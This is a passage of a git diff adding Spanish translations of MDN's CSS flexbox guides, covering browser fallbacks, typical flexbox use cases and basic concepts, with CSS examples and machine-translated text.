+<p><span class="notranslate">La mayoría de los problemas con flexbox se relacionan con los cambios en la especificación, tal como se ha desarrollado, y el hecho de que muchos de nosotros intentamos usar una especificación experimental en la producción.</span> <span class="notranslate"> Si está tratando de garantizar la compatibilidad con versiones anteriores de los navegadores, y en particular IE10 y 11, el sitio <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://github.com/philipwalton/flexbugs&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhjo_N9xnO5hhxBBK9uIQrirvCNcew" rel="noopener">Flexbugs</a> es un recurso útil.</span> <span class="notranslate"> Verá que muchos de los errores enumerados se aplican a las versiones antiguas del navegador y se corrigen en los navegadores actuales.</span> <span class="notranslate"> Cada uno de los errores tiene una solución alternativa que puede ahorrarle muchas horas de desconcierto.</span></p>
+
+<p><span class="notranslate">Si desea incluir navegadores muy antiguos con soporte de flexbox, puede incluir los prefijos de proveedor en su CSS además de la versión no prefijada.</span> <span class="notranslate"> Esto se está volviendo cada vez menos un requisito hoy en día, ya que el apoyo es generalizado.</span> <code> </code></p>
+
+<pre class="brush: css">.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}</pre>
+
+<p><span class="notranslate"><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://autoprefixer.github.io/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgUf9PulOznp3VQPaivCYCaHK66Kw" rel="noopener">Autoprefixer Online</a> es una forma útil de ver qué prefijos se recomiendan, dependiendo de cuántas versiones desee volver con el soporte del navegador.</span> <span class="notranslate"> También puede consultar <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://caniuse.com/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhg8XWV2r6QkTzw5qCNTnuJp_Y5C_g#feat=flexbox" rel="noopener">¿Puedo usar?</a> Para obtener información sobre cuándo se eliminaron los prefijos en los navegadores para tomar su decisión.</span></p>
+
+<h2 id="Técnicas_de_respaldo_útiles"><span class="notranslate">Técnicas de respaldo útiles</span></h2>
+
+<p><span class="notranslate">Dado que el uso de flexbox se inicia con el valor de la propiedad de <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/display&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgSinAc_I4iXIR_wMxppck0UYRiAQ" title="La propiedad de visualización de CSS define el tipo de visualización de un elemento, que consta de las dos cualidades básicas de cómo un elemento genera cuadros: el tipo de visualización externa que define cómo participa el cuadro en el diseño de flujo y el tipo de visualización interna que define cómo los hijos de caja se presentan."><code>display</code></a> , cuando se necesita admitir navegadores muy antiguos que no admiten flexbox en absoluto, se pueden crear fallos sobrescribiendo un método de diseño con otro.</span> <span class="notranslate"> La especificación define lo que sucede si usa otros métodos de diseño en un elemento que luego se convierte en un elemento flexible.</span></p>
+
+<h3 id="Floated_items">Floated items</h3>
+
+<blockquote>
+<p><span class="notranslate">"Flotar y despejar no crea flotación o espacio libre del elemento flexible, y no lo saque del flujo". <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://www.w3.org/TR/css-flexbox-1/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhjDp2CbMhmsn5qPNrWItombb2edTA#flex-containers" rel="noopener">3. Contenedores flexibles</a></span></p>
+</blockquote>
+
+<p><span class="notranslate">En el siguiente ejemplo en vivo, floté dos bloques y luego configuré <code>display: flex</code> en el contenedor.</span> <span class="notranslate"> Los artículos ahora son artículos flexibles, lo que significa que se estiran a la misma altura.</span> <span class="notranslate"> Cualquier comportamiento de flotación no se aplica.</span></p>
+
+<p><span class="notranslate">Puede probar el comportamiento alternativo eliminando <code>display: flex</code> del contenedor.</span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}</p>
+
+<h3 id="display_inline-block">display: inline-block</h3>
+
+<p><span class="notranslate">Una vez que un elemento de <code>inline-block</code> convierte en un elemento flexible, se <code>block</code> y, por lo tanto, el comportamiento de la <code>display: inline-block</code> como preservar el espacio en blanco entre elementos ya no se aplica.</span></p>
+
+<p><span class="notranslate">Eliminar <code>display: flex</code> para ver el comportamiento de reserva.</span> <span class="notranslate"> Verá un espacio en blanco agregado entre los elementos, que es lo que sucede cuando se usa <code>display: inine-block</code> ya que prefiere el espacio en blanco como otros elementos en línea.</span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}</p>
+
+<h3 id="display_table-">display: table-<em> </em></h3>
+
+<p><span class="notranslate">Las propiedades de visualización de la tabla CSS son potencialmente muy útiles como respaldo, debido al hecho de que permiten patrones de diseño como columnas de altura completa y centrado vertical y funcionan hasta Internet Explorer 8.</span></p>
+
+<p><span class="notranslate">Si usa <code>display: table-cell</code> en un elemento en su HTML, toma el estilo de una celda de tabla HTML.</span> <span class="notranslate"> CSS crea cuadros anónimos para representar estos elementos para que no necesite envolver cada elemento en un contenedor para representar la fila de la tabla HTML, y un segundo para representar el elemento de la tabla en sí. No puede ver ni diseñar estos cuadros anónimos;</span> <span class="notranslate"> Están allí para arreglar el árbol.</span></p>
+
+<p><span class="notranslate" style="background-color: #e6ecf9;">Si luego declara <code>display: flex</code> en el elemento principal, estos cuadros anónimos no se crean y, por lo tanto, su elemento sigue siendo un elemento secundario directo y puede convertirse en un elemento flexible, perdiendo cualquiera de las funciones de visualización de la tabla.</span></p>
+
+<blockquote>
+<p><span class="notranslate">“Nota: algunos valores de visualización normalmente desencadenan la creación de cuadros anónimos alrededor del cuadro original.</span> <span class="notranslate"> Si dicha caja es un elemento flexible, primero se bloquea y, por lo tanto, no se creará una caja anónima.</span> <span class="notranslate"> Por ejemplo, dos elementos flexibles contiguos con pantalla: table-cell se convertirán en dos pantallas separadas: elementos flexibles de bloque, en lugar de estar envueltos en una sola tabla anónima. "- <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://www.w3.org/TR/css-flexbox-1/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhjDp2CbMhmsn5qPNrWItombb2edTA#flex-items" rel="noopener">4. Elementos Flexibles</a></span></p>
+</blockquote>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}</p>
+
+<h3 id="The_vertical-align_property">The vertical-align property</h3>
+
+<p><span class="notranslate">El siguiente ejemplo en vivo demuestra el uso de la propiedad de <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgr6-d_RsAVtumplNGhUEUMAo35sQ" title="La propiedad CSS de alineación vertical establece la alineación vertical de un cuadro en línea o de celda de tabla."><code>vertical-align</code></a> junto con <code>display: inline-block</code> .</span> <span class="notranslate"> Tanto <code>display: table-cell</code> como <code>display: inline-block</code> permiten el uso de esta propiedad.</span> <span class="notranslate"> El uso de <code>vertical-align</code> vertical permite la alineación vertical antes de flexbox.</span> <span class="notranslate"> Flexbox ignora la propiedad, por lo que puede usarla junto con <code>display: table-cell</code> o <code>display: inline-block</code> como respaldo y luego usar de forma segura las propiedades de alineación de caja en flexbox.</span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}</p>
+
+<h2 id="Consultas_de_funciones_y_flexbox"><span class="notranslate">Consultas de funciones y flexbox</span></h2>
+
+<p><span class="notranslate">Puede usar <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/%2540supports&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhici5EQces8PvRioklpq77xc2SfEA">consultas de funciones</a> para detectar la compatibilidad con flexbox:</span></p>
+
+<pre class="brush: css">@supports (display: flex) {
+  // code for supporting browsers
+}</pre>
+
+<p><span class="notranslate">Tenga en cuenta que Internet Explorer 11 no admite consultas de funciones, pero <em>sí</em> admite flexbox.</span> <span class="notranslate"> Si decide que la implementación de IE11 es demasiado defectuosa y desea servirle el diseño alternativo, entonces podría usar consultas de características para servir las reglas de flexbox solo a aquellos navegadores con un buen soporte de flexbox.</span> <span class="notranslate"> Recuerde que si desea incluir versiones de navegadores que tengan flexbox prefijado por el proveedor, deberá incluir la versión prefijada en su consulta de características.</span> <span class="notranslate"> La siguiente consulta de características incluiría UC Browser, que admite consultas de características y sintaxis antigua de flexbox, con el prefijo:</span></p>
+
+<pre class="brush: css">@supports (display: flex) or (display: -webkit-box) {
+  // code for supporting browsers
+}</pre>
+
+<p><span class="notranslate">Para obtener más información sobre el uso de consultas de características, consulte <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhhjVsZfMKM6WW4F60-6U_P7RNoSjg" rel="noopener">Uso de consultas de características en CSS</a> en el blog Mozilla Hacks.</span></p>
+
+<h2 id="Conclusión"><span class="notranslate">Conclusión</span></h2>
+
+<p><span class="notranslate">Si bien pasé algún tiempo en esta guía analizando posibles problemas y retrocesos, flexbox está muy listo para que lo use en el trabajo de producción.</span> <span class="notranslate"> Esta guía lo ayudará en aquellos casos en los que encuentre un problema o tenga el requisito de admitir navegadores antiguos.</span></p>
diff --git a/files/es/web/css/css_flexible_box_layout/casos_de_uso_tipicos_de_flexbox/index.html b/files/es/web/css/css_flexible_box_layout/casos_de_uso_tipicos_de_flexbox/index.html
new file mode 100644
index 0000000000..9048cbb739
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/casos_de_uso_tipicos_de_flexbox/index.html
@@ -0,0 +1,133 @@
+---
+title: Casos de uso típicos de Flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Casos_de_uso_tipicos_de_Flexbox.
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">En esta guía, analizaremos algunos de los casos de uso comunes de flexbox, en aquellos lugares donde tiene más sentido que otro método de diseño.</p>
+
+<h2 id="¿Por_qué_elegir_flexbox">¿Por qué elegir flexbox?</h2>
+
+<p>En un mundo perfecto de compatibilidad con navegadores, la razón por la que elegiría utilizar flexbox es porque desea colocar una colección de elementos en una dirección u otra.  Estos son los usos para los que fue diseñado flexbox. Puede leer más sobre la diferencia entre flexbox y CSS Grid Layout en <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relación de Flexbox con respecto a otros métodos de diseño</a>, donde discutimos cómo encaja flexbox en la imagen general de CSS Layout.</p>
+
+<p>En realidad, a menudo también usamos Flexbox para trabajos que Grid Layout podría realizar mejor, como un respaldo para Grid, y también para obtener capacidades de alineación. Esto es algo que puede cambiar una vez que se implemente Box Alignment en Block Layout. En esta guía analizo algunas de las cosas típicas que podría usar flexbox hoy día.</p>
+
+<h2 id="Navegación">Navegación</h2>
+
+<p>Un patrón común para la navegación es tener una lista de elementos mostrada como una barra horizontal. Este patrón, tan básico como parece, era difícil de lograr antes de flexbox. Este es el ejemplo más simple de flexbox, y podría considerarse el caso ideal de uso de flexbox.</p>
+
+<p>Cuando tenemos un conjunto de elementos que queremos mostrar horizontalmente, podemos terminar con espacio adicional. Necesitamos decidir qué hacer con ese espacio y tener un par de opciones. O bien mostramos el espacio fuera de los elementos, los separamos, por consiguiente, con espacios en blanco entre ellos o alrededor de ellos, o absorbemos el espacio adicional dentro de los elementos, por lo tanto, necesitamos un método para permitir que los elementos crezcan y ocupen este espacio.</p>
+
+<h3 id="Espacio_distribuido_fuera_de_los_elementos">Espacio distribuido fuera de los elementos</h3>
+
+<p>Para distribuir el espacio entre o alrededor de los elementos, usamos las propiedades de alineación en flexbox y la propiedad {{cssxref ("justify-content")}}. Puede leer más sobre esta propiedad en <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Alinear elementos en un contenedor flexible</a>, que trata sobre la alineación de elementos en el eje principal.</p>
+
+<p>En el siguiente ejemplo en vivo, mostramos los elementos en su tamaño natural y utilizando <code>justify-content: space-between</code> crea cantidades iguales de espacio entre los elementos. Puede cambiar la forma en que se distribuye el espacio utilizando el valor <code>space-around</code>, o, donde sea compatible, <code>space-evenly</code>. También puede usar <code>flex-start</code> para colocar el espacio al final de los elementos, <code>flex-end</code> para colocarlo delante de ellos, o <code>center</code> para centrar los elementos de navegación.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}</p>
+
+<h3 id="Espacio_distribuido_dentro_de_los_elementos">Espacio distribuido dentro de los elementos</h3>
+
+<p>Un patrón diferente para la navegación sería distribuir el espacio disponible dentro de los elementos, en lugar de crear un espacio entre ellos. En este caso, utilizaríamos las propiedades {{cssxref ("flex")}} para permitir que los elementos crezcan y se reduzcan en proporción entre sí, como se describe en <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Control la proporción de elementos flexibles a lo largo del eje principal</a>.</p>
+
+<p>Si quisiera que todos mis elementos de navegación tuvieran el mismo ancho, entonces podría usar <code>flex: auto</code>, que es la abreviatura de <code>flex: 1 1 auto,</code> todos los elementos crecen y se contraen desde una flex-basis de auto. Esto significaría que el elemento más largo tendría más espacio.</p>
+
+<p>En el ejemplo en vivo a continuación, intente cambiar <code>flex: auto</code> a <code>flex: 1</code>. Esta es la abreviatura de <code>flex: 1 1 0</code> y hace que todos los elementos se vuelvan del mismo ancho, ya que están trabajando desde una flex-basis de 0 permitiendo que todo el espacio sea distribuido uniformemente.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}</p>
+
+<h2 id="Navegación_dividida">Navegación dividida</h2>
+
+<p>Otra forma de alinear elementos en el eje principal es usar márgenes automáticos. Esto permite el patrón de diseño de una barra de navegación donde un grupo de elementos se alinean a la izquierda y otro grupo se alinea a la derecha.</p>
+
+<p>Aquí estamos utilizando la técnica de márgenes automáticos descrita en <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container#Using_auto_margins_for_main_axis_alignment">Uso de márgenes automáticos para la alineación del eje principal</a>. Los elementos se alinean en el eje principal con <code>flex-start</code> ya que este es el comportamiento inicial de flexbox, y estamos alineando el elemento de la derecha dándole un margen izquierdo de auto. Puede mover la clase de un elemento a otro para cambiar dónde ocurre la división.</p>
+
+<p>También en este ejemplo, estamos utilizando márgenes en los elementos flexibles para crear un espacio entre los elementos, y un margen negativo en el contenedor para que los elementos aún permanezcan a nivel con los bordes derecho e izquierdo. Hasta que las propiedades <code>gap</code> de la especificación de alineación de caja sea implementada en flexbox, debemos usar márgenes de esta manera si queremos crear un margen entre los elementos.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}</p>
+
+<h2 id="Centrar_elemento">Centrar elemento</h2>
+
+<p>Antes de flexbox, los desarrolladores bromeaban con que el problema más difícil en el diseño web era el centrado vertical. Esto ahora se ha hecho sencillo usando las propiedades de alineación en flexbox, como muestra el siguiente ejemplo en vivo.</p>
+
+<p>Puedes jugar con la alineación, alineando el elemento con el inicio con <code>flex-start</code> o al final con <code>flex-end</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}</p>
+
+<p>Es posible que en el futuro no tengamos que crear un contenedor en un contenedor flexible solo para centrar un solo elemento, ya que las propiedades de Alineación de cuadro se implementarán en última instancia en el diseño del bloque. Por ahora, sin embargo, si necesita centrar correctamente una cosa dentro de otra, flexbox es la forma de hacerlo. Como en el ejemplo anterior, convierta un contenedor en un contenedor flexible y luego utilice <code>align-items</code> en el elemento principal o apunte el propio elemento de flexión con <code>align-self</code>.</p>
+
+<h2 id="Diseño_de_tarjeta_empujando_hacia_abajo_el_footer">Diseño de tarjeta empujando hacia abajo  el footer</h2>
+
+<p>Ya sea que use flexbox o CSS Grid para diseñar una lista de componentes de tarjeta, estos métodos de diseño solo funcionan en los elementos directos de los componentes flex o grid. Esto significa que si tiene cantidades variables de contenido, la tarjeta se extenderá hasta la altura del área de la cuadrícula o del contenedor flexible. Cualquier contenido interno usa un diseño de bloque regular, lo que significa que en una tarjeta con menos contenido, el pie de página subirá hasta la parte inferior del contenido en lugar de adherirse a la parte inferior de la tarjeta.</p>
+
+<p><img alt="Two card components showing that the internals of the component do not stretch with the wrapper." src="https://mdn.mozillademos.org/files/15669/flex-cards.png" style="height: 626px; width: 964px;"></p>
+
+<p>Flexbox puede resolver esto. Hacemos de la tarjeta un contenedor flexible, con  <code>{{cssxref ("flex-direction")}} :column</code>. A continuación, configuramos el área de contenido con <code>flex: 1</code>, que es la abreviatura de <code>flex: 1 1 0</code>; el elemento puede crecer y reducirse desde una base flexible de 0. Como este es el único elemento que puede crecer, ocupa todo el espacio disponible en el contenedor flexible y empuja el pie de página hacia abajo. Si elimina la propiedad <code>flex</code> del ejemplo en vivo, verá cómo el pie de página se mueve hacia arriba para sentarse directamente debajo del contenido.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}</p>
+
+<h2 id="Objetos_multimedia">Objetos multimedia</h2>
+
+<p>El objeto multimedia es un patrón común en el diseño web: este patrón tiene una imagen u otro elemento a un lado y el texto a la derecha. Idealmente, un objeto multimedia debería poder voltearse, moviendo la imagen de izquierda a derecha.</p>
+
+<p>Vemos este patrón en todas partes, usado para comentarios, y en cualquier lugar que necesitamos para mostrar imágenes y descripciones. Con flexbox podemos permitir que la parte del objeto multimedia que contiene la imagen tome su información de tamaño de la imagen, y luego el cuerpo del objeto multimedia se flexione para ocupar el espacio restante.</p>
+
+<p>En el ejemplo en vivo a continuación puedes ver nuestro objeto multimedia. He usado las propiedades de alineación para alinear los elementos en el eje transversal con <code>flex-start</code>, y luego establezco el elemento flex <code>.content</code> a <code>flex: 1</code>. Al igual que nuestra columna del patrón de la tarjeta de diseño anterior, usar <code>flex: 1</code> significa que esta parte de la tarjeta puede crecer.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}</p>
+
+<p>Algunas de las cosas que podría querer probar en este ejemplo en vivo se relacionan con las diferentes formas en que podría desear restringir el objeto multimedia en su diseño.</p>
+
+<p>Para evitar que la imagen crezca demasiado, agregue un {{cssxref ("max-width")}} a la imagen. Como ese lado del objeto multimedia está usando los valores iniciales de flexbox, puede reducirse pero no crecer, y utiliza una <code>flex-basis</code> de auto. Cualquier {{cssxref ("ancho")}} o ancho máximo aplicado a la imagen se convertirá en la <code>flex-basis</code>.</p>
+
+<pre class="brush: css">.image img {
+  max-width: 100px;
+}
+</pre>
+
+<p>También puede permitir que ambos lados crezcan y se reduzcan en proporción. Si configura ambos lados a <code>flex: 1</code>, crecerán y se reducirán de una {{cssxref ("flex-basis")}} de 0, por lo que terminará con dos columnas de igual tamaño. Puede tomar el contenido como una guía y configurar ambos para <code>flex: auto</code>, en cuyo caso crecerían y se reducirían con el tamaño del contenido o cualquier tamaño aplicado directamente a los elementos de flexión, como el ancho de la imagen.</p>
+
+<pre class="brush: css">.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<p>También puede dar a cada lado diferentes factores {{cssxref ("flex-grow")}}, por ejemplo, configurando el lado con la imagen para <code>flex: 1</code> y el lado del contenido para <code>flex: 3</code>. Esto significará que usan una <code>flex-basis</code> de <code>0</code>, pero distribuye ese espacio a diferentes proporciones según el factor <code>flex-grow</code> que haya asignado. Las propiedades de flexión que utilizamos para hacer esto se describen en detalle en la guía <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlando las proporciones de elementos de flexión a lo largo del eje principal</a>.</p>
+
+<pre class="brush: css">.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<h3 id="Volteando_el_objeto_multimedia">Volteando el objeto multimedia</h3>
+
+<p>Para cambiar la visualización del objeto multimedia de modo que la imagen esté a la derecha y el contenido a la izquierda, podemos usar la propiedad <code>flex-direction</code> configurada para <code>row-reverse</code>. El objeto multimedia ahora se muestra al revés. He logrado esto en el ejemplo en vivo agregando una clase <code>flipped</code> junto con la clase existente <code>.media</code>. Esto significa que puede ver cómo cambia la pantalla eliminando esa clase del html.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}</p>
+
+<h2 id="Controles_de_formulario">Controles de formulario</h2>
+
+<p>Flexbox es particularmente útil cuando se trata de estilos de controles de formularios. Los formularios tienen muchas marcas y muchos elementos pequeños que normalmente queremos alinear entre sí. Un patrón común es tener un elemento {{htmlelement ("input")}} asociado con un {{htmlelement ("button")}}, tal vez para un formulario de búsqueda o donde simplemente desea que su visitante ingrese una dirección de correo electrónico.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}</p>
+
+<p>Puede agregar una etiqueta o un icono a la izquierda tan fácilmente como hicimos clic en el botón derecho. He añadido una etiqueta y aparte, algunos estilos de color de fondo, no tuve que cambiar el diseño. El campo de entrada extensible ahora tiene un poco menos de espacio para actuar, pero utiliza el espacio izquierdo después que se representaron los dos elementos.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}</p>
+
+<p>Patrones como este pueden hacer que sea mucho más fácil crear una biblioteca de elementos de formulario para su diseño, que se adapte fácilmente a los elementos adicionales que se agregan. Está aprovechando la flexibilidad de flexbox al mezclar elementos que no crecen con los que lo hacen.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Mientras explora los patrones anteriores, es de esperar que haya empezado a ver cómo puede pensar en la mejor manera de utilizar flexbox para lograr el resultado que desea. Muy a menudo tienes más de una opción. Mezcle elementos que no puedan estirarse con aquellos que pueden, use el contenido para informar el tamaño o permita que flexbox comparta espacio en proporción. Tu decides.</p>
+
+<p>Piense en la mejor manera de presentar el contenido que tiene y luego vea cómo flexbox u otros métodos de diseño pueden ayudarlo a lograrlo.</p>
diff --git a/files/es/web/css/css_flexible_box_layout/conceptos_basicos_de_flexbox/index.html b/files/es/web/css/css_flexible_box_layout/conceptos_basicos_de_flexbox/index.html
new file mode 100644
index 0000000000..38e89c7813
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/conceptos_basicos_de_flexbox/index.html
@@ -0,0 +1,227 @@
+---
+title: Conceptos Básicos de flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Conceptos_Basicos_de_Flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">El Módulo de Caja Flexible, comúnmente llamado flexbox, fue diseñado como un modelo unidimensional de layout, y como un método que pueda ayudar a distribuir el espacio entre los ítems de una interfaz y mejorar las capacidades de alineación. Este artículo hace un repaso de las principales características de flexbox, las que exploraremos con mayor detalle en el resto de estas guías.</p>
+
+<p>Cuando describimos a flexbox como unidimensional destacamos el hecho que flexbox maneja el layout en una sola dimensión a la vez — ya sea como fila o como columna. Esto contrasta con el modelo bidimensional del <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Grid Layout de CSS</a>, el cual controla columnas y filas a la vez.</p>
+
+<p><span style='background-color: #333333; color: #ffffff; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.5rem;'>Los dos ejes de flexbox</span></p>
+
+<p>Cuando trabajamos con flexbox necesitamos pensar en términos de dos ejes — el eje principal y el eje cruzado. El eje principal está definido por la propiedad {{cssxref("flex-direction")}}, y el eje cruzado es perpendicular a este. Todo lo que hacemos con flexbox está referido a estos dos ejes, por lo que vale la pena entender cómo trabajan desde el principio.</p>
+
+<h3 id="El_eje_principal">El eje principal</h3>
+
+<p>El eje principal está definido por <code>flex-direction</code>, que posee cuatro posibles valores:</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p>Si elegimos <code>row</code> o <code>row-reverse</code>, el eje principal correrá a lo largo de la fila según la <strong>dirección de la línea </strong>.</p>
+
+<p><img alt="If flex-direction is set to row the main axis runs along the row in the inline direction." src="https://mdn.mozillademos.org/files/15614/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p>Al elegir <code>column</code> o <code>column-reverse</code> el eje principal correrá desde el borde superior de la página hasta el final — según la <strong>dirección del bloque</strong>.</p>
+
+<p><img alt="If flex-direction is set to column the main axis runs in the block direction." src="https://mdn.mozillademos.org/files/15615/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<h3 id="El_eje_cruzado">El eje cruzado</h3>
+
+<p>El eje cruzado va perpendicular al eje principal, y por lo tanto si <code>flex-direction</code> (del eje principal) es <code>row</code> o <code>row-reverse</code> el eje cruzado irá por las columnas.</p>
+
+<p><img alt="If flex-direction is set to row then the cross axis runs in the block direction." src="https://mdn.mozillademos.org/files/15616/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>Si el eje principal es <code>column</code> o <code>column-reverse</code> entonces el eje cruzado corre a lo largo de las filas.</p>
+
+<p><img alt="If flex-direction is set to column then the cross axis runs in the inline direction." src="https://mdn.mozillademos.org/files/15617/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>Entender cuál eje es cuál es importante cuando empezamos a mirar la alineación y justificación flexible de los ítems; flexbox posee propiedades que permiten alinear y justificar el contenido sobre un eje o el otro.</p>
+
+<h2 id="Líneas_de_inicio_y_de_fin">Líneas de inicio y de fin</h2>
+
+<p>Otra área vital de entendimiento es cómo flexbox no hace suposiciones sobre la manera de escribir del documento. En el pasado, CSS estaba muy inclinado hacia el modo de escritura horizontal y de izquierda a derecha. Los métodos modernos de layout acogen la totalidad de modos de escritura así que no es necesario asumir que una línea de texto empezará arriba del documento y correrá de izquierda a derecha, con nuevas líneas dispuestas una abajo de la otra.</p>
+
+<p>Puede leer más acerca de la relación que hay entre flexbox y la especificación de los Modos de Escritura en un artículo posterior, sin embargo la siguiente descripción debería ayudar para explicar porqué no se habla de izquierda y derecha ni de arriba o abajo a la hora de describir la dirección en la que fluyen los ítems flex.</p>
+
+<p>Si <code>flex-direction</code> es <code>row</code> y estoy trabajando en español, entonces el margen inicial del eje principal quedará a la izquierda, y el margen final a la derecha.</p>
+
+<p><img alt="Working in English the start edge is on the left." src="https://mdn.mozillademos.org/files/15618/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Si fuera a trabajar en árabe, entonces el margen inicial de mi eje principal quedaría a la derecha y el margen final a la izquierda.</p>
+
+<p><img alt="The start edge in a RTL language is on the right." src="https://mdn.mozillademos.org/files/15619/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>En ambos casos el margen inicial del eje cruzado estará en el extremo superior del contenedor flex y el margen final en el extremo inferior, ya que ambos idiomas tiene un modo de escritura horizontal.</p>
+
+<p>Después de un tiempo, pensar en inicial y final en vez de izquierda y derecha se hará natural, y será útil cuando interactúe con otros métodos de layout tales como el CSS Grid Layout que sigue los mismos patrones.</p>
+
+<h2 id="El_contenedor_flex">El contenedor flex</h2>
+
+<p>Un área del documento que contiene un flexbox es llamada <strong>contendedor flex</strong>. Para crear un contenedor flex, establecemos la propiedad del área del contenedor {{cssxref("display")}} como <code>flex</code> o <code>inline-flex</code>. Tan pronto como hacemos esto, los hijos directos de este contenedor se vuelven <strong>ítems flex</strong>. Como con todas las propiedades de CSS, se definen algunos valores iniciales, así que cuando creemos un contenedor flex todos los ítems flex contenidos se comportarán de la siguiente manera.</p>
+
+<ul>
